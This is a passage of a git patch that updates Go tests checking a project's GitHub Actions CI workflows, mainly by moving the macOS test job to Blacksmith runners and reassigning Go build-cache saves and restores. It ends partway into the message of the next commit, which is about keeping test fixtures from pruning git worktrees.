leg", saver.TimeoutMinutes, saver.Strategy.Matrix.Include) + if saver.TimeoutMinutes == 0 || len(saver.Strategy.Matrix.Include) != 0 || !equalStrings(saver.Strategy.Matrix.Venue, []string{"blacksmith", "github"}) { + t.Errorf("blacksmith-macos-go-build-cache timeout=%d include=%v venue=%v, want a timeout and one leg per venue [blacksmith github]", + saver.TimeoutMinutes, saver.Strategy.Matrix.Include, saver.Strategy.Matrix.Venue) } saverSave := saver.step(t, "Save non-race Go build cache") @@ -369,6 +387,9 @@ func TestBlacksmithMacOSSaverMatchesPRLegs(t *testing.T) { if got := mustEvalGHRunsOn(t, job.RunsOn, sameRepoMacOS); got != blacksmithMacOSLabel { t.Errorf("pr.yml %s same-repo macOS leg resolves to %q, want the saver's %q", jobName, got, blacksmithMacOSLabel) } + if got := mustEvalGHRunsOn(t, job.RunsOn, forkMacOS); got != macOSRunner { + t.Errorf("pr.yml %s fork macOS leg resolves to %q, want the saver's github leg %q", jobName, got, macOSRunner) + } if setup := job.step(t, "Set up Go"); setup.With["cache"] != "false" { t.Errorf("pr.yml %s Set up Go cache = %q, want \"false\"", jobName, setup.With["cache"]) } diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index 9faea6ed3..a0a32c51b 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -690,30 +690,35 @@ func TestPRPreflightPlatformsRunStepsUseRestoredGoBuildCache(t *testing.T) { } } -// main.yml's test job macOS leg is the GitHub-hosted macOS non-race GOCACHE -// seeder for pr.yml's macOS legs on the fork/Dependabot (macos-latest) path; -// blacksmith-macos-go-build-cache seeds the same-repo Blacksmith path. It must compile the same test packages -// those legs compile (warm-non-race-cache.sh, shared with the Linux and -// Windows seeders), not only the non-test ./cmd/bd graph its Build step does, -// and it must do so before the cache is saved. -func TestMainMacOSTestLegWarmsNonRaceGoBuildCache(t *testing.T) { +// main.yml's test job runs the macOS -race -short suite on Blacksmith macOS +// (blacksmithMacOSLabel, the image pr.yml's same-repo macOS legs use), and +// restores the module and non-race caches main.yml's +// blacksmith-macos-go-build-cache Blacksmith leg seeds: the same path and a +// restore-keys prefix of that saver's key. It writes only its own race cache. +func TestMainMacOSTestJobRestoresBlacksmithMacOSSaverCaches(t *testing.T) { workflow := readCIWorkflow(t, "main.yml") job := workflow.job(t, "test") - const name = "Warm non-race GOCACHE for macOS preflight/doc-freshness" - step := job.step(t, name) - if step.If != "matrix.os == 'macos-latest'" { - t.Errorf("%q if = %q, want the macOS leg only", name, step.If) + if want := "${{ '" + blacksmithMacOSLabel + "' }}"; job.RunsOn != want { + t.Errorf("main.yml test runs-on = %q, want %q", job.RunsOn, want) } - if step.ContinueOnError != nil && step.ContinueOnError != false { - t.Errorf("%q may not continue on error", name) + if job.TimeoutMinutes == 0 { + t.Error("main.yml test has no timeout-minutes") } - assertStepRunsExactly(t, job, name, "bash scripts/ci/warm-non-race-cache.sh") - assertGoCacheEnv(t, job, name, "non-race") - assertStepsBefore(t, job, []string{"Restore non-race Go build cache"}, []string{name}) - assertStepsBefore(t, job, []string{name}, []string{"Save non-race Go build cache"}) - save := job.step(t, "Save non-race Go build cache") - if !strings.Contains(save.If, "matrix.os == 'macos-latest'") || save.With["path"] != goBuildCachePath("non-race") { - t.Errorf("macOS non-race saver drifted: if=%q path=%q", save.If, save.With["path"]) + saver := workflow.job(t, "blacksmith-macos-go-build-cache") + for _, pair := range [][2]string{ + {"Restore Go module cache", "Save Go module cache"}, + {"Restore non-race Go build cache", "Save non-race Go build cache"}, + } { + restore, save := job.step(t, pair[0]), saver.step(t, pair[1]) + if restore.With["path"] != save.With["path"] || restore.With["restore-keys"] == "" || !strings.HasPrefix(save.With["key"], restore.With["restore-keys"]) { + t.Errorf("main.yml test %q (%q, %q) cannot reach the macOS saver's %q (%q, %q)", + pair[0], restore.With["path"], restore.With["restore-keys"], pair[1], save.With["path"], save.With["key"]) + } + } + for _, step := range job.Steps { + if actionFamily(step.Uses) == cacheSaveActionFamily && step.Name != "Save race Go build cache" { + t.Errorf("main.yml test step %q saves a cache; only its own race cache may (the macOS saver owns the rest)", step.Name) + } } } @@ -994,7 +999,7 @@ func TestStorageDomainUOWJobsUseNestedTimeoutBudgets(t *testing.T) { "go test -tags gms_pure_go -race -count=1 -timeout %dm -v ./cmd/bd/doctor/fix/", doctorTimeoutMinutes) - for _, workflowName := range []string{"pr.yml", "main.yml"} { + for _, workflowName := range []string{"pr.yml"} { t.Run(workflowName, func(t *testing.T) { job := readCIWorkflow(t, workflowName).job(t, "test-domain-uow") if job.TimeoutMinutes != jobTimeoutMinutes { @@ -1045,11 +1050,7 @@ func TestMacOSTestJobsReuseWorkspaceBDBinary(t *testing.T) { // default is what made this leg flaky). It sits on the invocation // rather than in matrix.test-flags, so editing the matrix cannot // silently drop it. - mainTestCommand = "go test -tags gms_pure_go ${{ matrix.test-flags }} -timeout=30m -skip '^TestEmbedded' ./..." - // The macOS leg is the only consumer of main.yml's matrix test-flags - // (the ubuntu leg's coverage step hardcodes its own). The deadline is - // deliberately NOT here — see mainTestCommand. - mainMacOSTestFlags = "-v -race -short" + mainTestCommand = "go test -tags gms_pure_go -v -race -short -timeout=30m -skip '^TestEmbedded' ./..." ) workflows := map[string]ciWorkflow{ @@ -1060,7 +1061,7 @@ func TestMacOSTestJobsReuseWorkspaceBDBinary(t *testing.T) { // pr.yml's own "test-macos" job (a full-suite pre-merge race against // main.yml's macOS leg, run on every PR to catch macOS-only regressions // before merge) was removed under the F4 rollout: main.yml's - // push-triggered macOS leg below is now the only lane that ever runs + // push-triggered macOS job below is now the only lane that ever runs // this suite on macOS, so no PR run exercises it pre-merge any more. // Nothing in pr.yml should carry the workspace bd binary override // checked in the loop below. @@ -1068,19 +1069,10 @@ func TestMacOSTestJobsReuseWorkspaceBDBinary(t *testing.T) { assertStepRunsExactly(t, mainTest, "Build", buildCommand) assertStepRunsExactly(t, mainTest, "Test", mainTestCommand) assertStepsBefore(t, mainTest, []string{"Build"}, []string{"Test"}) - if got := mainTest.step(t, "Build").If; got != "matrix.os != 'ubuntu-latest'" { - t.Errorf("main build condition = %q, want macOS-only condition", got) - } - if got := mainTest.step(t, "Test").If; got != "${{ !matrix.coverage }}" { - t.Errorf("main test condition = %q, want non-coverage condition", got) - } - if got := mainTest.Strategy.Matrix.OS; !equalStrings(got, []string{"ubuntu-latest", macOSRunner}) { - t.Errorf("main test matrix os = %v, want [ubuntu-latest %s]", got, macOSRunner) - } - if got := mainTest.Strategy.Matrix.Include; len(got) != 2 || - got[0].OS != "ubuntu-latest" || !got[0].Coverage || - got[1].OS != macOSRunner || got[1].Coverage || got[1].TestFlags != mainMacOSTestFlags { - t.Errorf("main test matrix include = %+v, want macOS non-coverage entry with %s", got, mainMacOSTestFlags) + for _, name := range []string{"Build", "Test"} { + if got := mainTest.step(t, name).If; got != "" { + t.Errorf("main %s condition = %q, want unconditional (the job is macOS only)", name, got) + } } assertStepEnvValue(t, mainTest, "Test", "BEADS_TEST_BD_BINARY", workspaceBDBinary) @@ -1097,10 +1089,10 @@ func TestMacOSTestJobsReuseWorkspaceBDBinary(t *testing.T) { } // TestDoltTestcontainerStepsDisableRyuk pins TESTCONTAINERS_RYUK_DISABLED on -// the four steps enumerated in the table below — the two Dolt-backed steps of -// the test-domain-uow job, in pr.yml and main.yml. It is an allow-list of +// the steps enumerated in the table below — the two Dolt-backed steps of +// pr.yml's test-domain-uow job. It is an allow-list of // literal (workflow, job, step) triples, so it catches an un-pinning -// regression on those four steps only; it does not detect the class, and a +// regression on those steps only; it does not detect the class, and a // newly added container-starting step passes it unpinned. // // Why the pin: testcontainers-go shares one Ryuk reaper per host; when a step @@ -1120,7 +1112,7 @@ func TestMacOSTestJobsReuseWorkspaceBDBinary(t *testing.T) { // job pre-caches the image via scripts/ci/pull-dolt-image.sh: checkDolt in // internal/testutil gates on `docker image inspect` and never auto-pulls. The // other jobs that do pull it are pr.yml/contract-corpus, -// main.yml/test-proxied-cmd, pr-risk.yml/test-proxied-cmd, +// pr-risk.yml/test-proxied-cmd, // pr-risk.yml/test-server-storage and -full, regression.yml/regression, and // bazel.yml's --config=docker lane. They are out of scope for this change, not // immune: no reap has been attributed to them, and the docker lane would @@ -1130,7 +1122,7 @@ func TestMacOSTestJobsReuseWorkspaceBDBinary(t *testing.T) { // walks every job and step — is follow-up work on be-2on. // // Steps that run under BEADS_TEST_SKIP=dolt (pr-core.sh's hermetic wrapper, -// the sharded main-linux-integration-* jobs) never start a container at all +// nightly.yml's full-test) never start a container at all // and are correctly excluded: internal/testutil's readiness check treats // BEADS_TEST_SKIP=dolt as an explicit opt-out before it ever reaches Docker. func TestDoltTestcontainerStepsDisableRyuk(t *testing.T) { @@ -1143,8 +1135,6 @@ func TestDoltTestcontainerStepsDisableRyuk(t *testing.T) { steps := []doltContainerStep{ {"pr.yml", "test-domain-uow", "Test domain + uow + tracker"}, {"pr.yml", "test-domain-uow", "Test doctor/fix (Dolt-backed, hard-require container)"}, - {"main.yml", "test-domain-uow", "Test domain + uow + tracker"}, - {"main.yml", "test-domain-uow", "Test doctor/fix (Dolt-backed, hard-require container)"}, } for _, tc := range steps { @@ -1339,15 +1329,11 @@ func TestGoCacheOwnershipTopology(t *testing.T) { assertGoCacheInventory(t, workflows["main.yml"].job(t, "build-artifacts"), []goCacheStep{ mainRestoreModuleCache(), mainRestoreBuildCache("non-race"), saveModuleCache(), saveBuildCache("non-race"), }) - assertGoCacheInventory(t, workflows["main.yml"].job(t, "build-embedded"), []goCacheStep{ - mainRestoreModuleCache(), mainRestoreBuildCache("race"), saveBuildCache("race"), - }) - assertGoCacheInventory(t, workflows["main.yml"].job(t, "pr-core-wrapper"), []goCacheStep{ - mainRestoreModuleCache(), mainRestoreBuildCache("race"), - }) + // Blacksmith macOS: restores what blacksmith-macos-go-build-cache's + // Blacksmith leg saves and owns only its race cache (day-bucketed, S7). assertGoCacheInventory(t, workflows["main.yml"].job(t, "test"), []goCacheStep{ - mainRestoreModuleCache(), mainRestoreBuildCacheIf("non-race", macOSMatrixCondition), mainRestoreBuildCache("race"), - saveModuleCacheAfterFailureOnMacOS(), saveBuildCacheAfterFailureOnMacOS("non-race"), saveBuildCacheAfterFailureOnMacOS("race"), + mainRestoreModuleCache(), mainRestoreBuildCacheDayBucketedIf("non-race", ""), mainRestoreBuildCacheDayBucketedIf("race", ""), + saveBuildCacheDayBucketedAfterFailureIf("race", ""), }) assertGoCacheInventory(t, workflows["main.yml"].job(t, "test-windows"), []goCacheStep{ mainRestoreModuleCache(), mainRestoreBuildCacheDayBucketedIf("non-race", ""), saveModuleCache(), saveBuildCacheDayBucketed("non-race"), @@ -1358,17 +1344,16 @@ func TestGoCacheOwnershipTopology(t *testing.T) { assertGoCacheInventory(t, workflows["main.yml"].job(t, "go-vet-cache"), []goCacheStep{ mainRestoreModuleCache(), mainRestoreVetCache(), saveVetCache(), }) - assertConditionalCacheWritersHaveMatrixMember(t, workflows["main.yml"].job(t, "test"), macOSRunner) // F4.7: seeds the module and xcompile caches pr.yml's windows-test-binaries // job only restores (PR workflows never save). assertGoCacheInventory(t, workflows["main.yml"].job(t, "windows-test-binaries-cache"), []goCacheStep{ mainRestoreModuleCache(), mainRestoreXCompileCache(), saveModuleCacheAfterFailure(), saveXCompileCache(), }) - // F7b: Blacksmith-only analogue of build-artifacts'/build-embedded's - // race/non-race GOCACHE saves, for same-repo PR consumers + // F7b: race/non-race GOCACHE saves for same-repo PR consumers // (scripts-go-checks, pr-preflight-platforms, check-doc-freshness-platforms) - // that now run on Blacksmith, whose cache namespace is invisible to - // GitHub-hosted build-artifacts/build-embedded. + // that run on Blacksmith, whose cache namespace is invisible to + // GitHub-hosted build-artifacts; its github venue leg seeds the fork + // path's race cache (build-artifacts seeds its non-race one). assertGoCacheInventory(t, workflows["main.yml"].job(t, "blacksmith-go-build-cache"), []goCacheStep{ mainRestoreModuleCache(), mainRestoreBuildCacheDayBucketedIf("race", "matrix.flavor == 'race'"), @@ -1376,9 +1361,9 @@ func TestGoCacheOwnershipTopology(t *testing.T) { saveBuildCacheDayBucketedAfterFailureIf("race", "matrix.flavor == 'race'"), saveBuildCacheDayBucketedAfterFailureIf("non-race", "matrix.flavor == 'non-race'"), }) - // Blacksmith macOS analogue for pr-preflight-platforms'/ - // check-doc-freshness-platforms' same-repo macOS legs (the `test` job's - // GitHub-hosted macOS leg keeps seeding their fork path). + // macOS saver for pr-preflight-platforms'/check-doc-freshness-platforms' + // macOS legs: its blacksmith venue leg seeds the same-repo path (and the + // `test` job), its github leg the fork path. assertGoCacheInventory(t, workflows["main.yml"].job(t, "blacksmith-macos-go-build-cache"), []goCacheStep{ mainRestoreModuleCache(), mainRestoreBuildCacheDayBucketedIf("non-race", ""), @@ -1443,7 +1428,7 @@ func TestGoCacheOwnershipTopology(t *testing.T) { }) assertNoUnmanagedGoCacheSteps(t, workflows, map[string]map[string]bool{ "main.yml": { - "build-artifacts": true, "build-embedded": true, "pr-core-wrapper": true, "test": true, "test-windows": true, + "build-artifacts": true, "test": true, "test-windows": true, "pr-lint-wrapper": true, "go-vet-cache": true, "windows-test-binaries-cache": true, "blacksmith-go-build-cache": true, "blacksmith-macos-go-build-cache": true, // F7c: blacksmith-setup-go-cache's own restore/save pair seeds the @@ -1468,19 +1453,12 @@ func TestGoCacheOwnershipTopology(t *testing.T) { assertStepsBefore(t, mainArtifacts, []string{"Restore Go module cache", "Restore non-race Go build cache"}, []string{"Build reusable Linux artifacts"}) assertStepsBefore(t, mainArtifacts, []string{"Build reusable Linux artifacts", "Upload build artifacts"}, []string{"Save Go module cache", "Save non-race Go build cache"}) - mainEmbedded := workflows["main.yml"].job(t, "build-embedded") embeddedRaceBuilds := []string{"Build embedded bd binary", "Build embedded storage test binary", "Build embedded cmd test binary"} - assertStepsBefore(t, mainEmbedded, []string{"Restore Go module cache", "Restore race Go build cache"}, embeddedRaceBuilds) - assertStepsBefore(t, mainEmbedded, append(embeddedRaceBuilds, "Upload binaries"), []string{"Save race Go build cache"}) - assertStepsBefore(t, workflows["main.yml"].job(t, "pr-core-wrapper"), - []string{"Restore Go module cache", "Restore race Go build cache"}, []string{"Run PR core wrapper"}) mainTest := workflows["main.yml"].job(t, "test") - assertStepsBefore(t, mainTest, []string{"Restore Go module cache"}, []string{"Install gotestsum", "Build", "Test (with coverage + JUnit XML)", "Test"}) + assertStepsBefore(t, mainTest, []string{"Restore Go module cache"}, []string{"Build", "Test"}) assertStepsBefore(t, mainTest, []string{"Restore non-race Go build cache"}, []string{"Build"}) - assertStepsBefore(t, mainTest, []string{"Restore race Go build cache"}, []string{"Test (with coverage + JUnit XML)", "Test"}) - assertStepsBefore(t, mainTest, []string{"Build", "Test"}, []string{"Save Go module cache"}) - assertStepsBefore(t, mainTest, []string{"Build"}, []string{"Save non-race Go build cache"}) + assertStepsBefore(t, mainTest, []string{"Restore race Go build cache"}, []string{"Test"}) assertStepsBefore(t, mainTest, []string{"Test"}, []string{"Save race Go build cache"}) mainWindows := workflows["main.yml"].job(t, "test-windows") @@ -1517,11 +1495,7 @@ func TestGoCacheOwnershipTopology(t *testing.T) { assertStepsBefore(t, prRiskEmbedded, []string{"Restore non-race Go build cache"}, prRiskNonRaceBuilds) assertGoCacheEnv(t, workflows["main.yml"].job(t, "build-artifacts"), "Build reusable Linux artifacts", "non-race") - for _, stepName := range []string{"Build embedded bd binary", "Build embedded storage test binary", "Build embedded cmd test binary"} { - assertGoCacheEnv(t, workflows["main.yml"].job(t, "build-embedded"), stepName, "race") - } assertGoCacheEnv(t, workflows["main.yml"].job(t, "test"), "Build", "non-race") - assertGoCacheEnv(t, workflows["main.yml"].job(t, "test"), "Test (with coverage + JUnit XML)", "race") assertGoCacheEnv(t, workflows["main.yml"].job(t, "test"), "Test", "race") assertGoCacheEnv(t, workflows["main.yml"].job(t, "test-windows"), "Build (pure Go regex)", "non-race") assertGoCacheEnv(t, workflows["main.yml"].job(t, "windows-test-binaries-cache"), "Build Windows test binaries", xcompileCacheProfile()) @@ -1548,10 +1522,7 @@ func TestGoCacheOwnershipTopology(t *testing.T) { assertGoCacheWriter(t, workflows["main.yml"], "build-artifacts", "ubuntu-latest", "Save Go module cache", cacheMissCondition(goModuleCacheRestoreID)) assertGoCacheWriter(t, workflows["main.yml"], "build-artifacts", "ubuntu-latest", "Save non-race Go build cache", cacheMissCondition(goBuildCacheRestoreID("non-race"))) - assertGoCacheWriter(t, workflows["main.yml"], "build-embedded", "ubuntu-latest", "Save race Go build cache", cacheMissCondition(goBuildCacheRestoreID("race"))) - assertGoCacheWriter(t, workflows["main.yml"], "test", "${{ matrix.os }}", "Save Go module cache", failureSurvivingCacheSaveCondition(macOSMatrixCondition, cacheMissCondition(goModuleCacheRestoreID))) - assertGoCacheWriter(t, workflows["main.yml"], "test", "${{ matrix.os }}", "Save non-race Go build cache", failureSurvivingCacheSaveCondition(macOSMatrixCondition, cacheMissCondition(goBuildCacheRestoreID("non-race")))) - assertGoCacheWriter(t, workflows["main.yml"], "test", "${{ matrix.os }}", "Save race Go build cache", failureSurvivingCacheSaveCondition(macOSMatrixCondition, cacheMissCondition(goBuildCacheRestoreID("race")))) + assertGoCacheWriter(t, workflows["main.yml"], "test", mainBlacksmithMacOSTestRunsOn, "Save race Go build cache", failureSurvivingCacheSaveCondition(cacheMissCondition(goBuildCacheRestoreID("race")))) assertGoCacheWriter(t, workflows["main.yml"], "test-windows", mainVenueBlacksmithWindows4vcpuRunsOn, "Save Go module cache", cacheMissCondition(goModuleCacheRestoreID)) assertGoCacheWriter(t, workflows["main.yml"], "test-windows", mainVenueBlacksmithWindows4vcpuRunsOn, "Save non-race Go build cache", cacheMissCondition(goBuildCacheRestoreID("non-race"))) assertGoCacheWriter(t, workflows["main.yml"], "pr-lint-wrapper", mainVenueBlacksmithUbuntu4vcpuRunsOn, "Save golangci-lint cache", failureSurvivingCacheSaveCondition(cacheMissCondition(golangciCacheRestoreID()))) @@ -1564,8 +1535,6 @@ func TestGoCacheOwnershipTopology(t *testing.T) { assertGoCacheWriter(t, workflows["main.yml"], "windows-test-binaries-cache", mainWindowsTestBinariesCacheRunsOn, "Save Go build cache (Windows cross-compile)", saveXCompileCache().ifCondition) for _, target := range []struct{ workflow, job string }{ {"main.yml", "build-artifacts"}, - {"main.yml", "build-embedded"}, - {"main.yml", "pr-core-wrapper"}, {"main.yml", "test"}, {"main.yml", "test-windows"}, {"main.yml", "windows-test-binaries-cache"}, @@ -1809,7 +1778,6 @@ const ( goModuleCachePath = "~/go/pkg/mod" goModuleCacheRestoreID = "restore-go-module-cache" macOSRunner = "macos-latest" - macOSMatrixCondition = "matrix.os == '" + macOSRunner + "'" ) type goCacheStep struct { @@ -1925,14 +1893,8 @@ func saveModuleCacheIf(condition string) goCacheStep { return goCacheStep{name: "Save Go module cache", family: cacheSaveActionFamily, key: goModuleCacheKey(), path: goModuleCachePath, ifCondition: combineConditions(condition, cacheMissCondition(goModuleCacheRestoreID))} } -func saveModuleCacheAfterFailureOnMacOS() goCacheStep { - step := saveModuleCache() - step.ifCondition = failureSurvivingCacheSaveCondition(macOSMatrixCondition, cacheMissCondition(goModuleCacheRestoreID)) - return step -} - -// saveModuleCacheAfterFailure is saveModuleCacheAfterFailureOnMacOS without -// the matrix condition, for single-runner saver jobs (windows-test-binaries- +// saveModuleCacheAfterFailure is saveModuleCache with a failure-surviving +// condition, for single-runner saver jobs (windows-test-binaries- // cache) where a flaky mid-build step (e.g. the mingw apt-get install) // should not prevent the module cache fetched before it from being saved. func saveModuleCacheAfterFailure() goCacheStep { @@ -1965,14 +1927,8 @@ func saveBuildCacheIf(profile, condition string) goCacheStep { return goCacheStep{name: "Save " + profile + " Go build cache", family: cacheSaveActionFamily, key: goBuildCacheKey(profile), path: goBuildCachePath(profile), ifCondition: combineConditions(condition, cacheMissCondition(goBuildCacheRestoreID(profile)))} } -func saveBuildCacheAfterFailureOnMacOS(profile string) goCacheStep { - step := saveBuildCache(profile) - step.ifCondition = failureSurvivingCacheSaveCondition(macOSMatrixCondition, cacheMissCondition(goBuildCacheRestoreID(profile))) - return step -} - -// saveBuildCacheAfterFailureIf is saveBuildCacheAfterFailureOnMacOS -// parameterized on an arbitrary matrix condition, for main.yml's +// saveBuildCacheAfterFailureIf is saveBuildCache with a failure-surviving +// condition, optionally on an arbitrary matrix condition, for main.yml's // blacksmith-go-build-cache job (F7b), which gates its race/non-race saves on // matrix.flavor instead of matrix.os. func saveBuildCacheAfterFailureIf(profile, condition string) goCacheStep { @@ -2117,36 +2073,6 @@ func assertGoCacheInventory(t *testing.T, job ciWorkflowJob, want []goCacheStep) } } -func assertConditionalCacheWritersHaveMatrixMember(t *testing.T, job ciWorkflowJob, wantMember string) { - t.Helper() - - memberCount := 0 - for _, member := range job.Strategy.Matrix.OS { - if member == wantMember { - memberCount++ - } - } - if memberCount != 1 { - t.Errorf("strategy matrix os has %d concrete %q members, want exactly 1: %v", memberCount, wantMember, job.Strategy.Matrix.OS) - } - - conditionalWriters := 0 - wantCondition := "matrix.os == '" + wantMember + "'" - for _, step := range job.Steps { - if actionFamily(step.Uses) != cacheSaveActionFamily { - continue - } - if !strings.Contains(step.If, wantCondition) { - t.Errorf("cache writer %q condition %q does not target matrix member %q", step.Name, step.If, wantMember) - continue - } - conditionalWriters++ - } - if conditionalWriters == 0 { - t.Fatal("job has no conditional matrix cache writers") - } -} - func assertStepsBefore(t *testing.T, job ciWorkflowJob, before, after []string) { t.Helper() @@ -2808,17 +2734,19 @@ const mainWindowsTestBinariesCacheRunsOn = "${{ matrix.runner == 'blacksmith' && const sameRepoBlacksmith4vcpuNoble = "${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-24.04' }}" // F7b: venue-matrix runs-on for main.yml jobs that seed a Blacksmith GOCACHE -// alongside their existing GitHub-hosted seed ("venue: [blacksmith, github]"): -// pr-lint-wrapper, go-vet-cache, test-windows. blacksmith-go-build-cache needs -// no fork/github fallback leg (main.yml only runs on push to main), so its -// runs-on is a bare Blacksmith literal wrapped for actionlint, not a matrix. +// alongside their GitHub-hosted seed ("venue: [blacksmith, github]"): +// pr-lint-wrapper, go-vet-cache, test-windows, blacksmith-go-build-cache and +// blacksmith-macos-go-build-cache. const mainVenueBlacksmithUbuntu4vcpuRunsOn = "${{ matrix.venue == 'blacksmith' && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }}" const mainVenueBlacksmithWindows4vcpuRunsOn = "${{ matrix.venue == 'blacksmith' && 'blacksmith-4vcpu-windows-2025' || 'windows-latest' }}" -const mainBlacksmithGoBuildCacheRunsOn = "${{ 'blacksmith-4vcpu-ubuntu-2404' }}" +const mainBlacksmithGoBuildCacheRunsOn = mainVenueBlacksmithUbuntu4vcpuRunsOn -// main.yml's push-to-main-only Blacksmith macOS saver, on the exact label -// pr.yml's same-repo macOS legs resolve to (blacksmithMacOSLabel). -const mainBlacksmithMacOSGoBuildCacheRunsOn = "${{ '" + blacksmithMacOSLabel + "' }}" +// main.yml's push-to-main-only macOS saver, on the exact labels pr.yml's +// same-repo (blacksmithMacOSLabel) and fork (macOSRunner) macOS legs resolve to. +const mainBlacksmithMacOSGoBuildCacheRunsOn = "${{ matrix.venue == 'blacksmith' && '" + blacksmithMacOSLabel + "' || '" + macOSRunner + "' }}" + +// main.yml's push-to-main-only macOS test job, on Blacksmith macOS. +const mainBlacksmithMacOSTestRunsOn = "${{ '" + blacksmithMacOSLabel + "' }}" // pr.yml's call of bazel.yml: exactly these inputs (review D1 v2 N3). An rbe // override would put every PR in local mode and ungate the embedded tier @@ -3162,6 +3090,8 @@ func TestSameRepoBlacksmithRunners(t *testing.T) { "blacksmith-go-build-cache": mainBlacksmithGoBuildCacheRunsOn, // Same guard, seeding pr.yml's same-repo macOS legs. "blacksmith-macos-go-build-cache": mainBlacksmithMacOSGoBuildCacheRunsOn, + // The macOS -race -short suite (Linux runs it under Bazel). + "test": mainBlacksmithMacOSTestRunsOn, }, } // The two required gates' display names are a stable external contract @@ -4907,8 +4837,7 @@ func assertBazelTierStep(t *testing.T, job ciWorkflowJob, jobName, config string } } -// The proxied-server tier (pr-risk.yml "Test (Proxied Dolt Cmd N/15)"; main.yml's -// twin runs the same shard script on a non-race binary) and the server-Dolt storage tier (pr-risk.yml "Test (Server Dolt +// The proxied-server tier (pr-risk.yml "Test (Proxied Dolt Cmd N/15)") and the server-Dolt storage tier (pr-risk.yml "Test (Server Dolt // Conformance)", "Test (Server Dolt Full Suite N/16)") as Bazel variants: // each manifest-sharded variant runs its jobs' shard script with their shard // total, the conformance variant the job's exact flags, with the jobs' race @@ -4965,16 +4894,6 @@ func TestBazelDoltServerTiersMirrorPRRisk(t *testing.T) { t.Errorf("pr-risk.yml %q = %q, want %q", step, got, want) } } - // main.yml's twin proxied jobs run build-artifacts' bd-cmd-test, which - // is not race: bd_proxied_test (race, like PR Risk's) is the stricter of - // the two. Pinned so a change there is a decision, not drift. - mainYML := readCIWorkflow(t, "main.yml") - if run := mainYML.job(t, "build-artifacts").step(t, "Build reusable Linux artifacts").Run; !strings.Contains(run, `go test -tags gms_pure_go -c -o artifacts/bd-cmd-test ./cmd/bd`+"\n") { - t.Errorf("main.yml build-artifacts no longer builds the non-race bd-cmd-test this tier is documented against (.bazelrc, cmd/bd:bd_proxied_test):\n%s", run) - } - if got := mainYML.job(t, "test-proxied-cmd").step(t, "Test proxied-server cmd shard").Env["BEADS_TEST_CMD_BINARY"]; got != "${{ github.workspace }}/ci-build-artifacts/bd-cmd-test" { - t.Errorf("main.yml test-proxied-cmd BEADS_TEST_CMD_BINARY = %q, want build-artifacts' bd-cmd-test", got) - } // The server jobs' binary: integration-tagged (the lane's build tags) and // not race (dolt_race_off). m := regexp.MustCompile(`^go test -tags=(\S+) -c -o /tmp/dolt-conformance-test \./internal/storage/dolt/$`). @@ -4997,26 +4916,19 @@ func TestBazelDoltServerTiersMirrorPRRisk(t *testing.T) { noBuildShardPin bool } tiers := []shardTier{ - // pr-risk.yml/main.yml's own "Test (Proxied Dolt Cmd N/15)" matrix + // pr-risk.yml's own "Test (Proxied Dolt Cmd N/15)" matrix // stays 15 (the legacy, frozen bd-init-cost-proxy manifest block), // but cmd/bd:bd_proxied_test's shard_count need not match: the // Bazel-only bazel-proxied job (bazel.yml) runs that target with its // own duration-balanced manifest block, not these jobs'. Shard k in // one split is not shard k in the other; see cmd/bd/BUILD.bazel's - // bd_proxied_test comment and bazel.yml's bazel-proxied comment. Both - // matrices are still required (below, after this loop) to equal each - // other and the legacy manifest block's total. + // bd_proxied_test comment and bazel.yml's bazel-proxied comment. {"pr-risk.yml", "test-proxied-cmd", "Test proxied-server cmd shard", ".github/scripts/proxied-test-shard.sh", "BEADS_TEST_CMD_BINARY", "cmd/bd", "bd_proxied_test", "BEADS_TEST_PROXIED_SERVER", true}, - {"main.yml", "test-proxied-cmd", "Test proxied-server cmd shard", ".github/scripts/proxied-test-shard.sh", "BEADS_TEST_CMD_BINARY", "cmd/bd", "bd_proxied_test", "BEADS_TEST_PROXIED_SERVER", true}, {"pr-risk.yml", "test-server-storage-full", "Test", ".github/scripts/server-storage-test-shard.sh", "BEADS_TEST_SERVER_TEST_BINARY", "internal/storage/dolt", "dolt_server_full_test", "BEADS_TEST_ENV_RUN_DOLT", false}, } - proxiedMatrixLen := map[string]int{} for _, c := range tiers { j := readCIWorkflow(t, c.workflow).job(t, c.job) shards := len(j.Strategy.Matrix.Shard) - if c.target == "bd_proxied_test" { - proxiedMatrixLen[c.workflow] = shards - } step := j.step(t, c.step) if want := "bash " + c.script + " ${{ matrix.shard }} " + strconv.Itoa(shards); strings.TrimSpace(step.Run) != want { t.Errorf("%s %s runs %q, want %q", c.workflow, c.job, step.Run, want) @@ -5055,14 +4967,6 @@ func TestBazelDoltServerTiersMirrorPRRisk(t *testing.T) { } } } - // S1: pr-risk.yml's and main.yml's legacy test-proxied-cmd matrices must - // stay equal to each other (they share one frozen manifest block); a - // divergence must fail here even though cmd/bd:bd_proxied_test's own - // shard_count is no longer pinned to either of them (above). - if a, b := proxiedMatrixLen["pr-risk.yml"], proxiedMatrixLen["main.yml"]; a != b { - t.Errorf("pr-risk.yml test-proxied-cmd has %d shards, main.yml has %d; these share one legacy manifest block and must match", a, b) - } - conf := risk.job(t, "test-server-storage").step(t, "Test").Run quoted := regexp.MustCompile(`(-test\.[a-z]+) '([^']*)'|(-test\.[a-z]+=\S+|-test\.v)`) fields := strings.Fields(conf) diff --git a/scripts/pull_dolt_image_test.go b/scripts/pull_dolt_image_test.go index 4a6fe8afc..ff63d2c57 100644 --- a/scripts/pull_dolt_image_test.go +++ b/scripts/pull_dolt_image_test.go @@ -54,7 +54,6 @@ func TestPullDoltImageRetriesTransientFailures(t *testing.T) { func TestDoltImagePullWorkflowsUseRetryHelper(t *testing.T) { wantCalls := map[string]int{ - "main.yml": 2, "pr.yml": 3, // test-domain-uow, contract-corpus, test-dolt-server-fingerprint "pr-risk.yml": 3, "regression.yml": 1, From ec6074860511388ceedab35d070ccb40d9bef690 Mon Sep 17 00:00:00 2001 From: Bee Date: Tue, 6 Oct 2026 21:51:20 +0000 Subject: [PATCH 008/213] fix(test): keep fixture commits from starting the auto maintenance that prunes a new worktree (#7314) A fixture's "git commit" starts "git maintenance run --auto --detach" (builtin/commit.c run_auto_maintenance). Unscheduled maintenance runs the worktree-prune task, and should_prune_worktree removes an entry that has neither "locked" nor "gitdir" with no expiry check. "git worktree add" mkdirs .git/worktrees/, then 